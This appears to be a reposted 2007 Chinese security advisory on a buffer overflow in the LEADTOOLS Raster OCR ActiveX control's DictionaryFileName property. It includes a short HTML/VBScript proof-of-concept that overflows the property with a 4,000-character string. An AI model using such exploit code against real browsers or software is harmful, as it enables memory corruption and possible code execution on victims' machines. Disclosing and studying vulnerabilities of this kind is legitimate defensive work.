LEADTOOLS LEAD Raster OCR文档对象库ActiveX控件远程栈溢出漏洞
发布日期:2007-05-26
更新日期:2007-05-29
受影响系统:LeadTools Raster OCR Document Object Library 14.5.0.44
描述:
BUGTRAQ ID:
24179
LEAD Raster OCR文档对象库ActiveX控件(ltrdc14e.dll)是LEAD Raster工具包中的光学字符识别控件。
ltrdc14e.dll ActiveX控件在处理DictionaryFileName属性时存在缓冲区溢出漏洞,如果用户受骗访问了恶意站点并向该属性传送了超长字符串的话,就可以触发这个溢出,导致执行任意指令。
<*来源:shinnai (
shinnai@autistici.org)
链接:
http://secunia.com/advisories/25444/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/26</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------------
<b>LeadTools Raster OCR Document Object Library (ltrdc14e.dll v. 14.5.0.44) Remote Memory corruption Exploit</b>
url:
http://www.leadtools.com/
price: eheheh, take a look at thier site :)
author: shinnai
mail: shinnai[at]autistici[dot]org
site:
http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------------------------------
<object classid='clsid:00140B30-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language='vbscript'>
Sub tryMe
buff = String(4000, "A")
test.DictionaryFileName = buff
End Sub
</script>
</span></span>
</code></pre>
建议:
厂商补丁:
LeadTools
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.leadtools.com/SDK/Raster/Raster-Addon-JPEG2000.htm浏览次数:3043
严重程度:0(网友投票)